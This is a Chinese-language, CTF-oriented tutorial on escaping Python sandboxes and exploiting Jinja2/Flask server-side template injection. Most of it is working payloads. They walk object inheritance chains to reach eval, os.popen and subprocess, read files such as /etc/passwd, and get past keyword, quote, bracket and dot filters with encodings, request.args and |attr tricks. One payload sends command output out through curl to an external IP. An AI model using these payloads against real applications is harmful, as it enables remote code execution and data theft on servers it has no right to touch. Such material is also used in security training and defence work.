Python 沙箱逃逸

Python 沙箱逃逸

沙箱逃逸,就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程

常见的函数、属性、模块

读取文件

file()

只存在于Py2,不存在于Py3

1
2
3
>>> ().__class__.__mro__[1].__subclasses__()[40]
<type 'file'>
>>> ().__class__.__mro__[1].__subclasses__()[40]('/flag').read()
open()
1
2
3
>>> [].__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']
<built-in function open>
>>> [].__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/flag').read()
codecs模块
1
2
import codecs
codecs.open('test.txt').read()

命令执行

exec()
1
exec('import os;os.system("ifconfig")')   #exec函数包含的语句相当于一个完整的python_shell,但exec()的执行无回显
eval()

eval函数只支持单行语句的执行,会返回执行结果

还有一点和exec()不同的是,eval不能直接使用 import 语句来导入模块,若要导入模块需要使用__import__

1
2
3
4
5
6
7
8
9
>>> eval('import os')	#该句会报错
Traceback (most recent call last):
File "<pyshell#3>", line 1, in <module>
eval('import os')
File "<string>", line 1
import os
^
SyntaxError: invalid syntax
>>> eval('__import__("os").system("calc")') #使用__import__成功使用os模块
execfile()

execfile()用于执行可执行文件

1
execfile('/flag.py')
os模块
1
2
3
4
5
6
7
os.system('ls /')

os.popen('ls /')

os.startfile(r'/flag.exe') #执行可执行文件

os.listdir('ls /')
timeit模块
1
2
import timeit
timeit.timeit("__import__('os').system('ipconfig')",number=1)
commands模块
1
2
3
>>> import commands
>>> commands.getoutput('cat /flag')
>>> commands.getstatusoutput('cat /flag')
platform模块
1
2
import platform
platform.popen('ls /').read()
subprocess模块
1
2
import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()
sys模块

sys模块本身不能用于命令执行,但可用于导入其他模块达到命令执行的效果

1
2
>>> import sys
>>> sys.modules['commands'].getoutput('cat /flag')
popen模块

popen模块包含一些命令执行的模块

1
2
3
4
>>> import popen
>>> dir(popen)
['Sh', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '__path__', 'chain', 'fcntl', 'glob', 'islice', 'itertools', 'os', 'select', 'shlex', 'signal', 'subprocess', 'sys']
>>> popen.os.system('cat /flag')
pickle模块

pickle模块的反序列化可实现命令执行

1
2
>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'cat /flag'\ntR.")

这里是使用的 os.system()

构造继承链

名称 介绍
__dict__ 这个属性中存放着类的属性和方法对应的键值对,实测module也有这个属性
__class__ 返回一个实例对应的类型
__base__ 返回一个类所继承的基类
__subclasses__() 返回该类的所有子类
__mro__ python支持多重继承,在解析__init__时,定义解析顺序的是子类的__mro__属性(值是类的元组)
__slots__ 限制类动态添加属性
__getattribute__() 获取属性或方法,对模块和类都有效
__getitem__() 以索引取值或者键取值
__globals__ 返回函数所在模块命名空间中的所有变量

pythonobject类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,

  • 获取字符串的类对象
1
2
3
>>> ''.__class__
<type 'str'>
12
  • 寻找基类
1
2
3
4
5
6
7
8
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

>>> ''.__class__.__base__
<class 'object'>

>>> ''.__class__.__bases__
(<class 'object'>,)
  • 寻找可用引用
1
>>> ''.__class__.__mro__[2].__subclasses__()

例如文件读取的 <type ‘file’>

1
2
>>> ''.__class__.__mro__[2].__subclasses__()[40]
<type 'file'>
1
''.__class__.__mro__[2].__subclasses__()[40]('/flag').read

写文件相仿

1
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')

a

  • 找到重载过的__init__类的类
1
''.__class__.__mro__[1].__subclasses__()[59].__init__

在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。

b

这个就是没被重载过的,我们就要寻找被重载过的,一个脚本:

1
2
3
4
l = len(''.__class__.__mro__[2].__subclasses__())
for i in range(l):
if 'wrapper' not in str(''.__class__.__mro__[2].__subclasses__()[i].__init__):
print (i, ''.__class__.__mro__[2].__subclasses__()[i])

就可以查出被重载过的类

重载过的__init__类的类具有__globals__属性,这里以WarningMessage为例,会返回很多dict类型:

1
''.__class__.__mro__[1].__subclasses__()[204].__init__.__globals__

寻找keys中的__builtins__来查看引用,这里同样会返回很多dict类型:

1
''.__class__.__mro__[1].__subclasses__()[204].__init__.__globals__['__builtins__']

__builtins____builtin__的区别:因为python开始就自动导入了函数到内存中,被称为内置函数,但实际上,python是先导入的内建命名空间,那里面才有许多名字,即内建函数的名称,还有对象,对象就是内建函数本身,然而这些命名空间又是由__builtins__模块中的名字构成,那他和__builtin__的区别呢:如果在主模块__main__,__builtins__直接引用__builtin__模块,此时模块名__builtins__与模块名__builtin__指向的都是同一个模块,即内建模块;如果不是在主模块中,那么__builtins__只是引用了__builtin__.__dict__

所以我们可以通过dict属性来调用这些函数:

1
2
>>> __builtins__.__dict__['exec']("print('ok')")
ok

通过内建函数导入包:

1
2
3
>>> __builtins__.__dict__['__import__']('os').system('whoami')
laptop-sfu2of66\50871
0

如果在__builtins__中,部分需要引用的函数被删除。不能直接用dict属性来调用,可以使用reload来重新加载

1
reload(__builtin__)

再在keys中寻找可利用的函数即可,如file()函数为例:

1
2
''.__class__.__mro__[1].__subclasses__()[204].__init__.__globals__['__builtins__']['file']('E:/passwd').read()
#通过read()将结果回显,如果没这个,那么file或者os这些执行命令之后是没有回显的

其实也就是从变量->对象->基类->子类遍历->全局变量 这个流程去找到我们想要的模板或者函数

上面的元素链就是通过流程去找到python已经提前导入的builtins模板,再在模板里面找函数

python提前导入的模板有:

c

上面就是利用的builtins模板进行操作的

所以我们需要找__subclasses__[]的序列数,寻找脚本如下,例如我们想执行命令evla函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
code = 'eval'             # 查找包含 eval 函数的内建模块的类型
i = 0
for c in ().__class__.__base__.__subclasses__():
if hasattr(c,'__init__') and hasattr(c.__init__,'__globals__') and c.__init__.__globals__['__builtins__'] and c.__init__.__globals__['__builtins__'][code]:
print('{} {}'.format(i,c))
i = i + 1

得到:
80 <class '_frozen_importlib._ModuleLock'>
81 <class '_frozen_importlib._DummyModuleLock'>
82 <class '_frozen_importlib._ModuleLockManager'>
83 <class '_frozen_importlib.ModuleSpec'>
94 <class '_frozen_importlib_external.FileLoader'>
95 <class '_frozen_importlib_external._NamespacePath'>
96 <class '_frozen_importlib_external._NamespaceLoader'>
98 <class '_frozen_importlib_external.FileFinder'>
105 <class 'zipimport.zipimporter'>
106 <class 'zipimport._ZipImportResourceReader'>
108 <class 'codecs.IncrementalEncoder'>
109 <class 'codecs.IncrementalDecoder'>
110 <class 'codecs.StreamReaderWriter'>
111 <class 'codecs.StreamRecoder'>
139 <class 'os._wrap_close'>
140 <class 'os._AddedDllDirectory'>
141 <class '_sitebuiltins.Quitter'>
142 <class '_sitebuiltins._Printer'>

这些里面就有eval函数

例如:

1
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
1
2
3
4
5
6
7
8
9
10
11
12
13
寻找os模板
#python2
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
num+=1

#72 <class 'site._Printer'>
#77 <class 'site.Quitter'>

undefined类型

这里还有一个骚姿势:

先放payload:

{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}

{{().__class__.__base__.__subclasses__().c.__init__.__globals__['__builtins__']['eval']('abs(-1)')}}

即没有寻找subclasses的位置就能获得没有重载的类

原因如下:

因为{{().__class__.__base__.__subclasses__().c.__init__}}得到的是一个undefined类型,也就是说如果碰到未定义的变量就会返回为Undefined类型,所以同理没有定义的变量也是undefined{{a.__init__.__globals__.__builtins__}}

可用类积累:

__init.__globals__['os'].popen("ls").read() 利用的是全局变量里面的os类

os.wraper类 :找到类加__init__.__globals__.popen("ls").read() //利用的是os类里面得popen方法

file函数 :python2才有 直接读取文件:[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

_frozen_importlib.BuiltinImporter类:

1
2
3
4
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}}
//用<class '_frozen_importlib.BuiltinImporter'>这个去执行命令
{{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}}
//用<class '_frozen_importlib_external.FileLoader'>这个去读取文件

eval方法:利用类似下面

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

subprocess.Popen类:(不需要__globals__

1
[].__class__.__bases__[0].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()

url_for.__globals__['__builtins__'].__import__('os').popen('dir').read() 利用内建函数__builtins__寻找可利用类或者导入包

绕过姿势

  1. 当关键字符被过滤的时候,可以采用引号进行拼接

    1
    {{""["__cla"+"ss__"]}}

    或者使用base64编码绕过,用于__getattribute__使用实例访问属性时。

    例如:calss

    1
    2
    3
    {{[].__getattribute__(X19jbGFzc19f'.decode('base64'))}}

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

    利用Unicode编码绕过关键字(flask适用)

    1
    2
    3
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}

    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}

    等同于:

    1
    2
    3
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

    利用Hex编码绕过:

    1
    2
    3
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}

    等同于:

    1
    2
    3
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

    利用join()函数绕过:

    1
    [].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read() 

    利用列表选择:

    1
    2
    3
    ['_1_1c1l1a1s1s1_1_1'[::2]]   #就是选择跳一个的字
    等同于:
    [__class__]
  2. 当引号被过滤的时候,可以使用request.args

    直接上例子比较好:

    1
    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

    就是把{{}}`里面的东西放在外面,再调用至`{{}}里面,

    注意:其实不止引号可以这样,关键字也是一样的:例如,一些关键字和引号都被过滤的时候

    1
    ?name={{()[request.args.a].__mro__[1][request.args.b]()[177][request.args.c].__globals__[request.args.d][request.args.e](request.args.f)[request.args.g]}}&a=__class__&b=__subclasses__&c=__init__&d=__builtins__&e=open&f=c:/windows/win.ini&g=read

    如果args被过滤了,使用request.values也可以,而且POST和GET传递的数据request.values都可以接受

    还有其他绕过方式:

    利用chr函数,先查出来chr函数在哪里

    1
    {().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

    通过payload爆破subclasses,获取某个subclasses中含有chr的类索引,

    1
    {%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}

    接着尝试使用chr尝试绕过引号

    1
    {%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}
  3. 过滤[]等括号

    使用__gititem__绕过。如原poc {{"".class.bases[0]}}

    绕过后{{"".class.bases.getitem(0)}}

    或者pop()函数:

    1
    2
    ''.__class__.__mro__.__getitem__(2).__subclasses__()[100]
    ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(100)

    尽量不用pop()函数来绕过

  4. 过滤小括号

    这没办法绕过了,无法执行任何函数,就只能获得个敏感数据了,如config,其实这就是上文所说的查看配置信息

  5. 过滤{{}}(dns外带)`

    1
    {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
    6. 过滤点号 在Python环境中(Python2/Python3),我们可以使用访问字典的方式来访问函数/类等。
    1
    "".__class__等价于""["__class__"]
    或者:
    1
    {{"".__getattribute__("__cla"+"ss__")}}
    或者:(`getattr()` 返回一个对象属性值。)
    1
    2
    3
    4
    5
    6
    7
    8
    [].__class__ 
    getattr([],'__class__')
    [].__class__.__base__
    getattr(getattr([],'__class__'),'__base__')
    [].__class__.__base__.__subclasses__()[59]
    getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59]
    [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
    getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os'],'system')('ls')
    或者: 利用 `|attr()` 绕过(适用于flask)
    1
    ().__class__   =>  ()|attr("__class__")
    1
    {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
    7. 禁止导入敏感包 首先就是ban了`__import__`, 我们可以在`__import__`之间添加空格或者使用`importlib` 还有就是对包进行黑名单检查,我们可以进行字符编码进行绕过 或者字符串拼接:
    1
    __import__('o'+'s').system('who'+'ami')
    或者字符串翻转:
    1
    __import__('so'[::-1]).system('who'+'ami')
    8. 利用`|attr()`绕过 `|attr()`是Jinjia2里面的过滤器,(过滤器就是改变变量输出的东西,例如`{{name|upper}}
    变量name输出就是大写,而后面这个就是过滤器)它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割。这个就好像不能使用[]

    .和[]同时被过滤:

    1
    2
    原poc:{{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}
    改之后:{{()|attr()("__class__")|attr()("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

    _ . []被过滤

    1
    2
    3
    4
    5
    原poc:{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
    绕过[],使用__getitem__()绕过:
    {{().__class__.__base__.subclasses__().__getitem__(77).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}
    因为`_`还是被过滤了,所以使用request绕过,但是还需要绕过`.`:
    {{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()
  6. __enter__

    __init__,当__init__被限制时可用于等价替换

  7. func_globals

    Py2才可用,同__globals__,可等价替换

    1
    [].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals['__builtins__']['file']('/flag').read()